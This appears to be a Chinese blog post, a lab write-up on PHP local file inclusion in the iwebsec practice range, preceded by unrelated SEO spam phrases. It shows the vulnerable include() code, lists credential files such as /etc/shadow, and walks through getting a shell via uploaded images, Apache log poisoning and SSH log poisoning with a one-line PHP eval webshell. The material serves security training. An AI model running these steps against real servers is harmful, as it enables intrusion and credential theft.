潍坊网站建设联系电话,手机主页网站,建设银行纪检监察网站,一个产品的营销方案文章目录00-文件包含漏洞原理环境01-本地文件包含读取敏感文件信息配合文件上传getshell配合日志文件getshell配合SSH日志配合运行环境00-文件包含漏洞原理
为什么要文件包含#xff1f; 为什么会有文件包含漏洞? 因为将被包含的文件设置为变量#xff0c;用来进行动态调用…
文章目录00-文件包含漏洞原理环境01-本地文件包含读取敏感文件信息配合文件上传getshell配合日志文件getshell配合SSH日志配合运行环境00-文件包含漏洞原理
为什么要文件包含 为什么会有文件包含漏洞? 因为将被包含的文件设置为变量用来进行动态调用。正是这种灵活性 从而导致客户端可以调用一个恶意文件造成文件包含漏洞。文件包含函数的参数没有经过过滤可以被攻击者控制包含其他恶意文件导致了执行恶意的代码。 什么是文件包含漏洞? PHP的文件包含可以直接执行包含文件的代码包含的文件格式不受限制无论是txt、图片文件还是远程URL全都作为PHP代码执行只要能正常执行即可。文件包含函数有include()、include_once()、require()、require_once()它们之间的区别在于include()和include_once()在文件包含时即使遇到错误下面的代码仍继续会执行而require()和require_once()则会直接报错退出程序。【摘自《代码审计——企业级Web代码安全架构》】 环境
靶场iwebsec前面的文章有搭建过程。 01-本地文件包含
本地文件包含local file includeLFI是指只能包含在本机文件的文件包含漏洞大多出现在模块加载、模板加载和cache调用的地方。
本关卡源码如下
?phpif(isset($_GET[filename])){$filename $_GET[filename];include($filename);//对$filename包含,没有进行限制}else{exit();}
?读取敏感文件信息
/etc/passwd(系统用户数据库文件)
/etc/group(组的数据库文件)
/etc/gshadow(存放密码)
/etc/shadow(存放密码)
/etc/profile(系统环境)
/etc/crontab(crontab配置文件)
/etc/httpd/conf/httpd.conf(Apache配置信息)
/etc/my.conf(MYSQL配置信息)
/usr/etc/php.ini(PHP配置信息) 配合文件上传getshell
假设shell.png这个文件是我们通过文件上传点上传的但是无法解析我们可以利用这里的文件包含漏洞解析shell.png执行php代码。 访问shell.png执行成功 蚁剑连接 类似地可以上传其他后缀的文件同样也可以解析 配合日志文件getshell
参考文章 浏览器发起请求 查看日志文件 apacheLinux日志默认路径/etc/httpd/logs/access_log 或者 /var/log/httpd/access_log 一句话木马被编码了用burpsuite发包。 网页源代码查看日志【方便看一点】 蚁剑连接 配合SSH日志 这个靶场环境不可以我在本机自己测试。在web服务器的根目录新建1.php文件写入如下代码即01环境的代码。 日志文件在/var/log/secure检查文件权限 修改权限 成功包含 写入一句话木马或者phpinfo()
ssh ?php eval($_POST[1]);?8.134.148.36
ssh ?php phpinfo();?8.134.148.36蚁剑连接 复现完成把权限修改回去 配合运行环境 访问没有权限 只有文件所有者具有读权限 下次遇到类似环境再试试。 剩下的留在下个文章写。